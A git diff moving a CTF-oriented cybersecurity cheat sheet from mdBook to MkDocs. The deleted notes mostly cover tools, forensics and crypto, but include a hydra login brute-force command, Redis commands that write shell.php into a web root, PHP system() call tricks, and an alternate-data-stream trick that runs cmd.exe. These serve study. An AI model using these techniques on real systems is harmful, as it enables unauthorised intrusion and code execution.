diff --git a/.github/workflows/mdbook.yml b/.github/workflows/mdbook.yml deleted file mode 100644 index 3d67dd3..0000000 --- a/.github/workflows/mdbook.yml +++ /dev/null @@ -1,64 +0,0 @@ -# Sample workflow for building and deploying a mdBook site to GitHub Pages -# -# To get started with mdBook see: https://rust-lang.github.io/mdBook/index.html -# -name: Deploy mdBook site to Pages - -on: - # Runs on pushes targeting the default branch - push: - branches: ["main"] - - # Allows you to run this workflow manually from the Actions tab - workflow_dispatch: - -# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages -permissions: - contents: read - pages: write - id-token: write - -# Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued. -# However, do NOT cancel in-progress runs as we want to allow these production deployments to complete. -concurrency: - group: "pages" - cancel-in-progress: false - -jobs: - # Build job - build: - runs-on: ubuntu-latest - env: - MDBOOK_VERSION: 0.4.36 - steps: - - uses: actions/checkout@v4 - - name: Install mdBook - run: | - curl --proto '=https' --tlsv1.2 https://sh.rustup.rs -sSf -y | sh - rustup update - cargo install --version ${MDBOOK_VERSION} mdbook - cargo install mdbook-mermaid - cargo install mdbook-toc - - name: Setup Pages - id: pages - uses: actions/configure-pages@v5 - - name: Build with mdBook - run: | - mdbook-mermaid install - mdbook build - - name: Upload artifact - uses: actions/upload-pages-artifact@v3 - with: - path: ./book - - # Deployment job - deploy: - runs-on: ubuntu-latest - needs: build - environment: - name: github-pages - url: ${{ steps.deployment.outputs.page_url }} - steps: - - name: Deploy to GitHub Pages - id: deployment - uses: actions/deploy-pages@v4 diff --git a/.github/workflows/mkdocs.yml b/.github/workflows/mkdocs.yml new file mode 100644 index 0000000..511e48a --- /dev/null +++ b/.github/workflows/mkdocs.yml @@ -0,0 +1,42 @@ +name: Deploy MkDocs site to Pages + +on: + push: + branches: ["main", "migrate-to-mkdocs"] + workflow_dispatch: +permissions: + contents: read + pages: write + id-token: write +concurrency: + group: "pages" + cancel-in-progress: false +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Setup pages + id: pages + uses: actions/configure-pages@v5 + - name: Install MkDocs + run: | + pip install --upgrade pip + pip install --upgrade mkdocs mkdocs-material + - name: Build with MkDocs + run: | + mkdocs build -f ./src/mkdocs.yml + - name: Upload artifact + uses: actions/upload-pages-artifact@v3 + with: + path: ./src/site + deploy: + runs-on: ubuntu-latest + needs: build + environment: + name: github-pages + url: ${{ steps.deployment.outputs.page_url }} + steps: + - name: Deploy to GitHub Pages + id: deployment + uses: actions/deploy-pages@v4 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..c50f923 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +tools/ diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..899f975 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,6 @@ +FROM python:3.13.7-alpine + +RUN pip install --upgrade pip +RUN pip install --upgrade mkdocs mkdocs-material + +ENTRYPOINT ["mkdocs"] diff --git a/book.toml b/book.toml deleted file mode 100644 index 0f52a32..0000000 --- a/book.toml +++ /dev/null @@ -1,8 +0,0 @@ -[book] -title = "Cybersecurity Cheatsheet" -authors = ["Chia-Hsuan Hu"] -src = "./docs" - -[preprocessor.toc] -command = "mdbook-toc" -renderer = ["html"] diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..0e08c44 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,10 @@ +services: + server: + image: localhost${PWD} + build: . + working_dir: /mnt/src + volumes: + - ./src:/mnt/src:ro + ports: + - 8000:8000 + command: ["serve", "-a", "0.0.0.0:8000"] diff --git a/docs/INTRODUCTION.md b/docs/INTRODUCTION.md deleted file mode 100644 index c1715aa..0000000 --- a/docs/INTRODUCTION.md +++ /dev/null @@ -1,36 +0,0 @@ -# Introduction - -This is a payload collection and references for CTF challenges. -- Guide - - [HackTricks](https://book.hacktricks.xyz/welcome/readme) - - [Red Team Notes](https://www.ired.team/) - - [Bamboofox](https://bamboofox.cs.nctu.edu.tw/courses) - - [Computer Security](https://edu-ctf.csie.org/) - - [Hacker101](https://www.hacker101.com/resources) -- Practice - - [CTF Time](https://ctftime.org/) - - [Google CTF](https://capturetheflag.withgoogle.com/) - - [picoCTF](https://play.picoctf.org/) - - [OverTheWire](https://overthewire.org/wargames/) - - [pwnable.tw](https://pwnable.tw/) - - [Hack The Box](https://www.hackthebox.com/) - - [prompt(1) to win](https://prompt.ml/0) - - [TryHackMe](https://tryhackme.com) - - [Hackerone Bug Bounty](https://hackerone.com/directory/programs) -- Threat Hunting - - [MITRE ATT&CK](https://attack.mitre.org/) - - [Hunting Queries Detection Rules | Bert-JanP](https://github.com/Bert-JanP/Hunting-Queries-Detection-Rules) - - [SOCPrime](https://tdm.socprime.com/light-search/) - SIGMA Rules - - [AlienVault](https://otx.alienvault.com/api) - STIX/TAXII Feed - - [Anomali Limo](https://www.anomali.com/blog/anomali-limo-service) - STIX/TAXII Feed - - [Malpedia](https://malpedia.caad.fkie.fraunhofer.de/library) -- News - - [CISA](https://www.cisa.gov/) - - [MS-ISAC] - - [BleepingComputer](https://www.bleepingcomputer.com/) - - [The Hacker News](https://thehackernews.com/) - - [PENETRATION TESTING BLOG](https://securityonline.info/) -- Certification - - CEHP - - OSCP - - C|PENT diff --git a/docs/SUMMARY.md b/docs/SUMMARY.md deleted file mode 100644 index 1ed6f1c..0000000 --- a/docs/SUMMARY.md +++ /dev/null @@ -1,33 +0,0 @@ -# Summary - -[Introduction](./INTRODUCTION.md) - -- [Binary](./binary.md) - - [Buffer Over Flow]() - - [Fuzzing]() - - [Heap](./technique/heap.md) -- [Crypto](./crypto.md) -- [Misc](./misc.md) -- [System](./system.md) - - [DLL Injection](./technique/dll-injection.md) - - [Persistence](./technique/persistence.md) - - [Privilege Escalation](./technique/privilege-escalation.md) -- [Web](./web.md) - - [Broken Access Control](./technique/broken-access-control.md) - - [Cache Poisoning]() - - [Command Injection](./technique/command-injection.md) - - [CRLF Injection](./technique/crlf-injection.md) - - [CSRF](./technique/csrf.md) - - [CSS Injection](./technique/css-injection.md) - - [Deserialization](./technique/deserialization.md) - - [DOM Clobbering](./technique/dom-clobbering.md) - - [HTTP Desync Attacks]() - - [Local File Inclusion](./technique/local-file-inclusion.md) - - [Prototype Pollution](./technique/prototype-pollution.md) - - [SQL Injection](./technique/sql-injection.md) - - [SSRF](./technique/ssrf.md) - - [SSTI](./technique/ssti.md) - - [XS-Leaks](./technique/xs-leaks.md) - - [XSS](./technique/xss.md) - - [XXE]() -- [Programming](./programming.md) diff --git a/docs/binary.md b/docs/binary.md deleted file mode 100644 index e9ac37f..0000000 --- a/docs/binary.md +++ /dev/null @@ -1,200 +0,0 @@ -# Binary - - -## Tool - -### File Analyzer - -#### General -- `$ file` - -#### ELF -- readelf - - | Usage | Description | - |-------|-------------| - | `$ readelf -S ` | Display the sections' header. | - | `$ readelf -s ` | Display the symbol table. | - -- objdump - - | Usage | Description | - |-------|-------------| - | `$ objdump -x ` | Display the contents of all headers. | - | `$ objdump -R ` | Display the dynamic relocation entries in the file. | - | `$ objdump -M intel -S ` | Intermix source code with disassembly. | - -#### PE -- PE-bear -- PEview -- PE Detective (ExplorerSuite) -- [reshacker](https://www.angusj.com/resourcehacker/) - - Add, modify or replace resources. - - Support strings, images, dialogs, menus, VersionInfo and Manifest resources. -- CFF Explorer (ExplorerSuite) -- Signature Explorer (ExplorerSuite) -- 010 editor - - -### Pack Detector -- PEiD -- DIE (detect it easy) - - identify shell and other info - -### Demangler -- `$ c++filt` - -### Decompiler -- [Decompiler Explorer Online](https://dogbolt.org/) -- [Compiler Explorer Online](https://godbolt.org/) -- jad -- uncompyle6 -- [dnSpy](https://github.com/dnSpy/dnSpy) (.Net Framwork) -- Telerik/JustAssembly - -### Debugger -- IDA pro - - | Usage | Description | - |:-----------------------------------------------------|:-----------------------| - | `` | set variable structure | - | `` | string list | - | `r` / `h` | encode | - | `x` | xrefs | - | `y` | type declaration | - | `` | search | - | `` > `reset pointer type` > `create new struct type` | | - - - [IDA Skins](https://github.com/zyantific/IDASkins) -- Ghidra -- Windbg preview -- x64dbg - - | Usage | Description | - |:------------|:-------------| - | `` | modify code | - | `` | patch binary | - | `` > `s` | search | - -- gdb - - | Usage | Description | - |:-------|:------------| - | watch | | - | rwatch | | - | awatch | | - | x/[N][g,w,h,b]x | | - - - plugins - - peda - - gef - - pwndbg - - pwngdb -- CheatEngine72 - -### Running Environ -- x86 binary on x64 OS - - `$ sudo apt install mingw-w64` - - `/usr/x86_64-w64-mingw32/include` - - `/usr/i686-w64-mingw32/include` -- Library - - `$ patchelf --set-interpreter ./libc/ld-linux.so.2 --set-rpath ./libc/ ` - - `$ env LD_PRELOAD= ` -- Behavior - - sandboxie - - regsnap - - regshot - - [Microsoft Research Detours Package](https://github.com/microsoft/Detours) - - Process Monitor (SysinternalsSuite) - - pintool - - strace / ltrace - -### Payload -- pwntools -- one\_gadget -- angr - - -## Background - -### Calling Convention -- Compare - - | Type | Platform | Ret | Parameters | Stack Cleaner | Note | - |----------------------------------|---------------------|---------|-----------------------------|---------------|-------------------------------------------| - | stdcall | Win32 API | eax | stack | callee | | - | cdecl | Win32 / Linux x86 | eax | stack | caller | | - | Microsoft x64 calling convention | Win64 | rax | rcx,rdx,r8,r9,stack | caller | | - | SysV ABI (C ABI) | Linux x86\_64 | rdx:rax | rdi,rsi,rdx,rcx,r8,r9,stack | caller | called when 16-byte aligned | - | syscall | Linux x86\_64 | rax | rdi,rsi,rdx,r10,r8,r9,stack | caller | rax: syscall number, rcx: rip, r11: flags | - | int 0x80 | Linux x86 | eax | ebx,ecx,edx,esd,edi,ebp | caller | eax: syscall number | - -- Win32 Calling Convention Example - - stdcall (win32api) - - ```c - __attribute__((stdcall)) void func(int a, int b, int c) { - ... - } - ``` - - - fastcall - - ```c - __attribute__((fastcall)) void func(int a, int b, int c) { - ... - } - ``` - - - thiscall - > put `this` in `ecx` - > - > used in class member method - - ``` - class human { - protected: - string nation; - public: - virtual string getNation() { - return this->nation; - } - }; - ``` - - ``` - lea edx,[ebp-0x34] - ... - mov ecx,edx - call eax - ... - ``` - -### File Format -- segment register / index in descripter table - -#### ELF - -#### PE -- Alignment - - File - - FileAlignment: 0x200 - - Winchester Disk - - Process - - SectionAlignment: 0x1000 - - Page Model -- [PE Format](https://learn.microsoft.com/en-us/windows/win32/debug/pe-format) - - | Layout | | - |:--------|:------------------------------| - | Headers | Dos MZ Header | - | | DOS Stub | - | | PE Header (IMAGE\_NT\_HEADER) | - | | Section Headers | - | Null | | - | .text | | - | Null | | - | .data | | - | Null | | - | .rsrc | | - | Null | | diff --git a/docs/crypto.md b/docs/crypto.md deleted file mode 100644 index 3522293..0000000 --- a/docs/crypto.md +++ /dev/null @@ -1,297 +0,0 @@ -# Crypto - - -## Tool - -### Decrypt -- pyCryptodome -- Crypto.Util.number - - | Function | Comment | - |:---------|:----------------| - | inverse | modulus inverse | - -- Sage - - [sagemath](https://sagecell.sagemath.org/) - - [CoCalc](https://cocalc.com/) - -### Recover -- unt-wister - -### Brute Force -- Password Cracker - - hashcat - - John the Ripper -- Login Cracker - - hydra - - ``` - $ hydra -l -P /usr/share/wordlists/nmap.lst http-post-form "/login.php:username=^USER^&password=^PASS^&sub=Login:Invalid username or password" - ``` - -- Word List - - wordlists - - seclists - - crunch - -### openssl -- Generate - > [Generate cert chain](https://blog.davy.tw/posts/use-openssl-to-sign-intermediate-ca/) - > [SAN](https://medium.com/@antelle/how-to-generate-a-self-signed-ssl-certificate-for-an-ip-address-f0dd8dddf754) - > /etc/ssl/openssl.cnf - - - Self-signed Certificate (Root CA) - - ```bash - #CA - openssl genrsa -out ca.key 4096 - openssl req -new -out ca.csr -sha256 \ - -key ca.key -nodes \ - -subj "/C=TW/ST=Taiwan/L=Hsinchu/O=Organization/OU=Organization Unit/CN=Common Name" - - openssl ca -selfsign -keyfile ca.key -in ca.csr -outdir . -out ca.crt \ - -startdate 20211001000000Z -enddate 20311001000000Z -config <(cat <<-EOF - [ ca ] - default_ca = CA_default - - [ CA_default ] - database = ./index.txt - email_in_dn = no - rand_serial = yes - default_md = sha256 - default_days = 730 - policy = policy_any - - [ policy_any ] - countryName = supplied - stateOrProvinceName = optional - organizationName = optional - organizationalUnitName = optional - commonName = supplied - emailAddress = optional - - EOF - ) - - #CA in one command - openssl req -new -sha256 -x509 -days 3650 -out ca.crt \ - -newkey rsa:4096 -nodes -keyout ca.key \ - -subj "/C=TW/ST=Taiwan/L=Hsinchu/O=Organization/OU=Organization Unit/CN=Common Name" \ - -addext "subjectAltName=DNS:example.com" - ``` - - - Sign certificate - - ```bash - #CSR - openssl req -new -out intermediate.csr -sha256 \ - -newkey rsa:4096 -nodes -keyout intermediate.key \ - -subj "/C=TW/ST=Taiwan/L=Hsinchu/O=Organization/OU=Organization Unit/CN=Common Name" \ - -config <(cat <:] - openssl s_client [-showcerts] -connect : - ``` - - - Verify Server - - ```bash - openssl s_server [-debug] \ - -CAfile root.crt \ - -cert_chain <(cat product.crt intermediate.crt) \ - -cert server.crt -key server.key \ - [-accept :] - - openssl s_client [-showcerts] \ - -CAfile root.crt \ - -verify_return_error \ - -connect : - ``` - - - Mutual Auth - - ```bash - #Server Alternative 1 - openssl s_server [-debug] \ - -CAfile root.crt \ - -cert_chain <(cat product.crt intermediate.crt) \ - -cert server.crt -key server.key \ - -verify_return_error -Verify 5 \ - [-accept :] - - #Server Alternative 2 - socat "OPENSSL-LISTEN:8888,cafile=root.crt,certificate=client-chain.crt,key=client.key,reuseaddr,verify" STDOUT - - #Client Alternative 1 - openssl s_client [-showcerts] \ - -CAfile root.crt \ - -cert_chain <(cat product.crt intermediate.crt) \ - -cert client.crt -key client.key \ - -verify_return_error \ - -connect : - - #Client Alternative 2 - curl \ - --cacert root.crt \ - --cert <(cat client.crt product.crt intermediate.crt) \ - --key client.key \ - --resolve :: - https://: - - ``` - -- MakeCert and New-SelfSignedcertificate - - ``` - #MakeCert -n 'CN=code.signing' -ss My -r -pe -sr localmachine -cy end -eku 1.3.6.1.5.5.7.3.3 -len 4096 -b 2020/01/01 -e 2025/01/01 - New-SelfSignedCertificate -CertStoreLocation 'Cert:\CurrentUser\My' -KeyAlgorithm RSA -KeyLength 4096 -Type CodeSigningCert -KeyUsage DigitalSignature -KeyUsageProperty Sign -Subject 'CN=code signing test' - Set-AuthenticodeSignature -FilePath @(Get-ChildItem -Recurse '*.exe','*.dll','*.ps1') -Certificate (Get-ChildItem Cert:\CurrentUser\My -codesigning)[0] -IncludeChain 'NotRoot' -HashAlgorithm SHA256 -TimestampServer 'http://timestamp.globalsign.com/?signature=sha2' - signtool.exe verify /pa - ``` - -- Signed Certificate Timestamp (SCT) - - [Signed Certificate Timestamp (SCT) Validation | Google](https://github.com/google/certificate-transparency/blob/master/docs/SCTValidation.md) - - -## Background - -### Cryptanalysis -- Kerckhoff's Principle -- Classical Cryptanalysis - - Mathmatical Analysis - - Brute-Force Attacks - - Substitution Cipher - > Caesar Cipher - - - Exhaustive Key Search - - Letter Frequency Analysis -- Implementation Attacks -- Social Engineering - -### Symmetric Cipher -- Stream Cipher - > encrypt bits individually - > - > usually small and fast - > - > security dependes entirely on key stream (sync, async), which is random and reproducible - - - vulnerable to reused key attack - - ``` - E(A) = A xor C - E(B) = B xor C - E(A) xor E(B) = A xor B - ``` - - - key stream generator - > the key stream generator works like a Pseudorandom Number Generator (RNG), - > which generate sequences from initial seed (key) value - > - > ![]() - - - Linear Congruential Generator (LCG) - - ![]() - - Assume - - unknown A, B and S0 as key - - m = 2^32 - - S1, S2, S3 are known - - Solving - - ![]() - - ![]() - - Answer - - ![]() - - ![]() - - - MT19937 - > python's default RNG - - - can be recovered by 32x624 consecutive bits - - `from randcrack import RandCrack` - - - Lineare Feedback Shift Register (LFSR) - - ![]() - - - Characteristic Polynomial - - ![]() - - -- Block Cipher - > - always encrypt a full block (several bits) - > - common for internet applications diff --git a/docs/programming.md b/docs/programming.md deleted file mode 100644 index 6f88b74..0000000 --- a/docs/programming.md +++ /dev/null @@ -1,181 +0,0 @@ -# Programming - - -## C -- .init / .fini - - ```C - #include - __attribute__((constructor(101))) void func1() { - } - - __attribute__((constructor(102))) void func2() { - } - - __attribute__((constructor)) void func3() { - } - - __attribute__((destructor)) void func4() { // Run after main function. - } - - int main() { - return 0; - } - ``` - -## Shell -- [Shell Parameter Expansion](https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html#Shell-Parameter-Expansion) - - | Parameter Expansion | x="a1 b1 c2 d2" | - |:----------------------|:----------------| - | `${x#*1}` |   b1 c2 d2 | - | `${x##*1}` |   c2 d2 | - | `${x%1*}` | a1 b | - | `${x%%1*}` | a | - | `${x/1/3}` | a3 b1 c2 d2 | - | `${x//1/3}` | a3 b3 c2 d2 | - | `${x//?1/z3}` | z3 z3 c2 d2 | - | `${x:0:2}` | a1 | - -- Command - - printf - - ```bash - printf '%s.' a b c - ------------------ - a.b.c. - ``` - -## Redis -- Write file - - ``` - FLUSHALL - SET payload "" - CONFIG SET DIR /var/www/html/ - CONFIG SET DBFILENAME shell.php - SAVE - ``` - -- [RCE](https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf) - -## JavaScript -- Reference - - [wtfjs](https://github.com/denysdovhan/wtfjs) - - [JavaScript Truth Table](https://thomas-yang.me/projects/oh-my-dear-js/) - - [你懂 JavaScript 嗎?#8 強制轉型(Coercion)](https://ithelp.ithome.com.tw/articles/10201512) -- Weak Type (comparison `==`) - - [] == 0 - - [] == "0" - - ['a', ['b', 'c']] == "a,b,c" - - "b" + "a" + + "a" + "a" == baNaNa -- Prototype Chain - ``` - __proto__ - ─────────> - - ┌─────────────────────────────┐ ┌───────────────────────────────────────────────────┐ - │ │ │ │ - │ │ │ │ - │ │ │ ┌──────┐ │ - │ │ │ │ null │ │ - │ │ │ └──────┘ │ - │ │ │ ↑ │ - │ ↓ ↓ │ │ - ┌────────────┐ prototype┌────────────────────┐ ┌──────────────────┐ constructor┌──────────┐ - │ Function() │─────────────│ Function.prototype │───>│ Object.prototype │─────────────│ Object() │ - └────────────┘constructor └────────────────────┘ └──────────────────┘prototype └──────────┘ - ↑ ↑ - │ │ - ┌─────┐ prototype┌─────────────┐ - │ A() │─────────────│ A.prototype │ - └─────┘constructor └─────────────┘ - ↑ - │ - ┌─────────┐ - │ new A() │ - └─────────┘ - ``` - -## PHP -- Reference - - [php.net](https://www.php.net/) -- Weak Type (comparison `==`) - - [PHP Truth Table](https://www.php.net/manual/en/types.comparisons.php) - - [String to Number Comparison](https://www.php.net/manual/en/migration80.incompatible.php#migration80.incompatible.core.string-number-comparision) - - `0eXXXX == 0eYYYY` - - md5(240610708) = 0e462097431906509019562988736854 - - md5(314282422) = 0e990995504821699494520356953734 - - md5(QLTHNDT) = 0e405967825401955372549139051580 - - PHP Array - - $arr[idx] <-> $arr{idx} - - strcmp([], []) -> NULL - - md5([]) -> NULL - - sha1([ ]) -> NULL - - strlen([ ]) -> NULL - - file\_put\_contents("info.php", ["` - - Variable Function - - `$func="system"; $func("ls -al");` - - system(id) -> system("id") - - echo \`id\` -> system("id") -- [Tags](https://www.php.net/manual/en/language.basic-syntax.phptags.php) - - normal tag - - ``` - - ``` - - - short tag - > can be disabled via the `short_open_tag` in `php.ini`, or are disabled - > by default if PHP is built with the `--disable-short-tags` configuration - - ```php - - ``` - - - short echo tag - - ```php - - ``` - -## Python -- Reference - - [wtfpython](https://github.com/satwikkansal/wtfpython) - -## Ruby -- Object Model - ``` - superclass - ──────────> - - ┌──────────────────────────────────────────────────────────┐ - │ │ - │ ┌─────┐ │ - │ │ nil │ │ - │ └─────┘ │ - │ ↑ │ - │ │ │ - │ ┌─────────────┐ singleton_class┌──────────────┐ - │ │ BasicObject │─────────────────│ #BasicObject │ - │ └─────────────┘ └──────────────┘ - │ ↑ ↑ - ↓ │ │ - ┌───────┐ ┌────────┐ ┌────────┐ singleton_class┌─────────┐ - │ Class │───>│ Module │───>│ Object │─────────────────────│ #Object │ - └───────┘ └────────┘ └────────┘ └─────────┘ - ↑ ↑ - │ │ - class┌───┐ singleton_class┌────┐ - ┌────────────────────│ A │───────────────────────────│ #A │ - │ └───┘ └────┘ - │ ↑ - │ │ - ┌───┐ singleton_class┌────┐ - │ a │──────────────────│ #a │ - └───┘ └────┘ - - ``` diff --git a/docs/system.md b/docs/system.md deleted file mode 100644 index 1bfac8e..0000000 --- a/docs/system.md +++ /dev/null @@ -1,343 +0,0 @@ -# System -> [ShellSpeels](https://www.shellspells.net/) - - - -## Tool - -### Vulnerability Assessment -- OpenVAS -- metasploit -- cobaltstrike - -### Malware Scanner -- [Microsoft Safety Scanner](https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/safety-scanner-download) -- [MSRT (Windows Malicious Software Removal Tool)](https://www.microsoft.com/en-us/download/details.aspx?id=9905) -- [Trend Micro Anti-Threat Toolkit](https://www.trendmicro.com/zh_tw/business/capabilities/solutions-for/ransomware/free-tools.html) -- [VirusTotal](https://www.virustotal.com/gui/) -- [nodistribute](https://nodistribute.com/) - -### System Forensic -> [Windows Forensic Handbook](https://psmths.gitbook.io/windows-forensics) - -- File - - Disk Forensic - - autopsy - - OSForensic / OSFClone - - FTK Imager - - Sleuth Kit - - Search - - `$ forfile` - - Directory - - `C:\$Recycle.Bin` -- Registry - - Query - - `PS$ dir "Registry::HKLM\"` - - Essential Registry - - | Path | Description | - |------|-------------| - | `HKLM\System\CurrentControlSet\Control\HiveList` | reg file location | - | `{HKLM\|HKCU}\SOFTWARE\WOW6432Node` | redirected key | - | `{HKLM\|HKCU}\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\{Shell Folders\|User Shell Folders}` | user shell folders (`shell:`) - | `HKCR\` | `{HKLM,HKCU}\Software\Classes` | - -- Autoruns - - Overall - - 🟦 Autoruns (SysinternalsSuite) - - Startup - - 🟦 `RUN$ shell:Startup` - 🟦 `RUN$ shell:Common Startup` - - 🟦 `{HKLM|HKCU}\Software[\WOW6432Node]\Microsoft\Windows\CurrentVersion\Run\` - 🟦 `{HKLM|HKCU}\Software[\WOW6432Node]\Microsoft\Windows\CurrentVersion\RunOnce\` - 🟦 `{HKLM|HKCU}\Software[\WOW6432Node]\Microsoft\Windows\CurrentVersion\RunOnceEx\` - > Can be triggered by `CMD$ RunOnce.exe /explorer`. - - 🟦 `{HKLM|HKCU}\Software[\WOW6432Node]\Microsoft\Windows NT\CurrentVersion\Winlogon\` - 🟦 `HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors\` - - 🐧 `/etc/profile` - - Service - - 🟦 `HKLM\SYSTEM\CurrentControlSet\Services\` - 🟦 `HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\` - - Scheduled Task - - 🟦 `CMD$ taskschd.msc` - 🟦 `$ schtasks /query /FO list /V` - - 🟦 `%SystemRoot%\{System32|SysWOW64}\Tasks\` - 🟦 `%SystemRoot%\Tasks\` - - 🟦 `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\Taskcache\Tasks\` - 🟦 `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\Taskcache\Tree\` - - 🐧 `/etc/crontab` - 🐧 `/etc/cron.d/` - - GPO -- Process - - Process List - - `$ tasklist` - - `$ wmic process` - - `$ Get-CimInstance -ClassName Win32_Process` - - Advanced Tool - - Process Monitor (SysinternalsSuite) - - Process Explorer (SysinternalsSuite) - - Task Explorer (ExplorerSuite) - - Driver List (ExplorerSuite) - - WinObj (SysinternalsSuite) -- Network - - Sniffer - - Wireshark - - FakeNet-NG -- Memory - - Dumpit - - Volatility Workbench -- Windows Event - - Event Log File - - `%SystemRoot%\System32\winevt\Logs\` - - Event List - - ``` - PS# Get-WinEvent -ListProvider * -Erroraction Silentlycontinue | Select ProviderName -ExpandProperty Events | Select * -ExpandProperty LogLink | Format-Table LogName,ProviderName,Version,ID,Description - ``` - - - Event Filter - - ``` - Get-EventLog - ``` - - ``` - Get-WinEvent -Path C:\Windows\System32\Winevt\Logs\System.evtx - Get-WinEvent -ListLog * - Get-WinEvent -ListLog System | Format-List -Property * - (Get-WinEvent -ListLog *).ProviderNames - (Get-WinEvent -ListProvider *).Events | Format-Table Id, Description - ``` - - - Channel - - Sysmon - > [SysmonSimulator](https://rootdse.org/posts/understanding-sysmon-events/) - - - -## Background - -### Windows 🟦 -> https://lolbas-project.github.io/ - -- Common Command - - | Run | Pannel | - |-----|--------| - | `control` | `控制台` - | `ncpa.cpl` | `網路連線` | - | `wf.msc` | `防火牆規則` | - | `taskschd.msc` | `工作排程` | - | `services.msc` | `服務` | - | `winver` | - | `msinfo32` | - -- `SET __COMPAT_LAYER=RunAsInvoker` -- Registry data reference to a dll file - > [Understanding a negative offset of a registry data reference to a dll file](https://stackoverflow.com/questions/7350480/understanding-a-negative-offset-of-a-registry-data-reference-to-a-dll-file) - > - Positive numbers are resource indices. Negative numbers (once you've removed the minus sign) are resource identifiers - > - `EmbedCtxt=@FirewallAPI.dll,-32252` - -#### File System -- NTFS Stream - > [NTFS File Structure](https://www.researchgate.net/profile/Costas_Katsavounidis2/publication/363773832_Master_File_Table_MFT_on-disk_Structures_NTFS_31_httpsgithubcomkacos2000MFT_Browser/links/632da89086b22d3db4d9afad/Master-File-Table-MFT-on-disk-Structures-NTFS-31-https-githubcom-kacos2000-MFT-Browser.pdf) - > [NTFS Streams](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3) - > [File Streams (Local File Systems)](https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams) - - - `CMD$ fsutil file layout ` - - Alternative Data Stream (ADS) - ```cmd - echo abc > note.txt:abc.txt - echo C:\Windows\System32\cmd.exe > note.txt:cmd.exe - dir /R - - wmic process call create note.txt:cmd.exe - forfiles /M note.txt /C "note.txt:cmd.exe" - - Get-Content note.txt -stream abc.txt - more < note.txt:abc.txt:$DATA - ``` - -- Additional File Information - - `CMD$ fsutil file queryEA ` - - Extended Attribute - - WSL metadata - - `CMD$ fsutil file queryfileid ` - - `PS$ (Get-Item filename).lastwritetime=(Get-Date "mm/dd/yyyy hh:mm am/pm")` - -- File Naming - > [Naming Files, Paths, and Namespaces | Microsoft](https://docs.microsoft.com/en-us/windows/win32/fileio/naming-a-file) - - - Namespace - - Win32 File Namespace - - `\\?\` - > tells the Windows APIs to disable all string parsing and to send the string that follows it straight to the file system - - `\\?\GLOBALROOT\Device\ConDrv\Console` - > `\\?\GLOBALROOT` ensures that the path following it looks in the true root path of the system object manager and not a session-dependent path - - Win32 Device Namespace - - `\\.\` - > access the Win32 device namespace instead of the Win32 file namespace - - NT Namespace - - `\??\` - > NT Object Manager paths that can look up DOS-style devices like drive letters - > 1. process's `DosDevices` table - > 2. `\GLOBAL??` Object Manager directory - > - > A "fake" prefix which refers to per-user Dos devices - > - > ![file path handling, user / kernal mode](https://i.sstatic.net/LOeeO.png) - - | Path | Content | - |:-------------|:--------------------| - | `\Global??\` | Win32 namespace | - | `\Device\` | Named device object | - - Reserved Name (`\Global??\`) - - | Filename | Meaning | - |:----|:---------------------------| - | CON | console (input and output) | - | AUX | an auxiliary device. In CP/M 1 and 2, PIP used PUN: (paper tape punch) and RDR: (paper tape reader) instead of AUX: | - | LST | list output device, usually the printer | - | PRN | as LST:, but lines were numbered, tabs expanded and form feeds added every 60 lines | - | NUL | null device, akin to /dev/null | - | EOF | input device that produced end-of-file characters, ASCII 0x1A | - | INP | custom input device, by default the same as EOF: | - | OUT | custom output device, by default the same as NUL: | - -#### Active Directory (AD) -- Command - - `$ Get-ADObject -Filter * -Properties *` - - `$ Get-ADObject -Filter {ObjectGUID -eq } -Properties *` -- Event - - `Security` `5137` `A directory service object was created` - -#### WMI -> **WMI** (Windows Management Instrumentation) is the Microsoft -> implementation of **WBEM** (Web-Based Enterprise Management), a set -> of specifications published by **DMTF** (Distributed Management Task -> Force) that define how resources modeled using **CIM** (Common -> Information Model) can be discovered, accessed and manipulated. - -> [Windows Management Instrumentation | Microsoft](https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page) -> [WMI Internals Part 1 | Jonathan Johnson](https://jsecurity101.medium.com/wmi-internals-part-1-41bb97e7f5eb) - -- Architecture - - WMI Provider - > A COM object (COM server) that monitor managed objects, which are - > logical or physical enterprise components, such as proccesses, - > OS, or hard disk. - > - > `C:\Windows\System32\wbem\*` - - DLL - > COM Object - - MOF (Managed Object Format) - > A definition for a WMI class. - - WMI Infrastructure - > svchosts.exe [Winmgmt service] (`C:\WINDOWS\system32\wbem\WMIsvc.dll`) - > - > Load appropriate WMI Provider (DLL) into WMI Provider Host - > (WmiPrvSE, `C:\WINDOWS\system32\wbem\wmiprvse.exe`). - - - WMI Core (CIM Object Manager, CIMOM) - > Act as the intermediary between the provider, management applications, and the WMI repository. - - WMI Repository - > Holding static data at `C:\Windows\System32\wbem\Repository\`, such as Classes. - - WMI Consumer (Management Application) - - wmic - - powershell - - wbemtest - - WMI Explorer -- Command - - List Namespace - - ``` - PS$ Get-CimInstance [-Namespace ] -ClassName __NAMESPACE - - WQL$ SELECT * From __NAMESPACE - ``` - - - List Class - - ``` - PS$ Get-CimClass [-Namespace ] [[-ClassName] ] - ``` - - - List Instance - - ``` - PS$ Get-CimInstance [-Namespace ] -ClassName - - CMD$ wmic [/namespace:] path - - WQL$ Select * From - ``` - - - Invoke CIM Method - - ```powershell - PS$ Get-CimClass -MethodName *Create* - - PS$ (Get-CimInstance __Provider -Filter "Name = '$(([WmiClass] 'Win32_Process').Qualifiers['provider'].Value)'").CLSID - 